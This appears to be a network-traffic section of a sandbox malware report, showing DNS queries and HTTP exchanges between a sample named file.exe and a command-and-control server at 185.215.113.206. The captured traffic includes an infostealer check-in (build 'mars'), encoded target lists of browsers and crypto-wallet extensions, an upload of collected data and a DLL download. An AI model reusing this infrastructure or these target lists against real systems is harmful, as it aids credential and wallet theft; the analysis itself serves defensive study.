Nov 11, 2024 19:19:50.400237083 CET	1.1.1.1	192.168.2.7	0xdb16	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 19:19:54.247004032 CET	1.1.1.1	192.168.2.7	0xb106	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:54.571851015 CET	1.1.1.1	192.168.2.7	0x22a	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:54.886636019 CET	1.1.1.1	192.168.2.7	0x1277	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.073224068 CET	1.1.1.1	192.168.2.7	0x7145	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.304930925 CET	1.1.1.1	192.168.2.7	0x618f	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.542671919 CET	1.1.1.1	192.168.2.7	0x651a	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:55.777184963 CET	1.1.1.1	192.168.2.7	0xfa34	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:56.027257919 CET	1.1.1.1	192.168.2.7	0x40ed	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 19:19:56.243510962 CET	1.1.1.1	192.168.2.7	0xc52b	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.215.113.206	80	5900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:17:29.559886932 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:17:30.199743986 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:30.204174042 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 37 44 43 39 45 31 37 41 35 41 31 33 36 31 34 39 35 32 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="hwid"7A7DC9E17A5A1361495298------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="build"mars------DHJDAFIEHIEGDHIDGDGH--
Nov 11, 2024 19:17:30.419416904 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 68 6c 5a 47 52 6a 4f 47 45 31 4e 44 64 6a 4e 6d 59 32 59 6a 52 6d 4e 47 59 35 4e 6a 49 32 4d 47 4d 30 4d 54 6b 78 5a 6d 55 30 5a 6a 42 6a 4e 6a 55 32 4f 44 46 69 4e 32 59 30 4d 54 56 6b 4e 57 4a 6d 4d 6d 49 33 4e 6d 45 31 5a 6d 4d 7a 4f 44 56 6b 5a 44 59 30 5a 47 46 69 59 6d 49 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MThlZGRjOGE1NDdjNmY2YjRmNGY5NjI2MGM0MTkxZmU0ZjBjNjU2ODFiN2Y0MTVkNWJmMmI3NmE1ZmMzODVkZDY0ZGFiYmI4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 11, 2024 19:17:30.421562910 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="message"browsers------AFBAFBKEGCFBGCBFIDAK--
Nov 11, 2024 19:17:30.623804092 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 11, 2024 19:17:30.623857021 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 11, 2024 19:17:30.629410028 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"plugins------FHIECBAFBFHIJKFIJDAK--
Nov 11, 2024 19:17:30.832216978 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 11, 2024 19:17:30.832233906 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 11, 2024 19:17:30.832252979 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 11, 2024 19:17:30.832264900 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 11, 2024 19:17:30.832278013 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 11, 2024 19:17:30.832293034 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 11, 2024 19:17:30.935852051 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 38 61 35 34 37 63 36 66 36 62 34 66 34 66 39 36 32 36 30 63 34 31 39 31 66 65 34 66 30 63 36 35 36 38 31 62 37 66 34 31 35 64 35 62 66 32 62 37 36 61 35 66 63 33 38 35 64 64 36 34 64 61 62 62 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="message"fplugins------HCAFIJDGHCBFHJKFCGIE--
Nov 11, 2024 19:17:31.137804985 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 11, 2024 19:17:31.158533096 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHCGCAEBFIJKFIDBGHD Host: 185.215.113.206 Content-Length: 5367 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:17:31.158618927 CET	5367	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 64 64 63 Data Ascii: ------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="token"18eddc8a547c6f6b4f4f96260c4191fe4f0c65681b7f415d5bf2b76a5fc385dd64dabbb8------BGHCGCAEBFIJKFIDBGHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 11, 2024 19:17:31.929481983 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:17:32.294430971 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:17:32.494786978 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 11, 2024 19:17:32.494827986 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 11, 2024 19:17:32.494841099 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
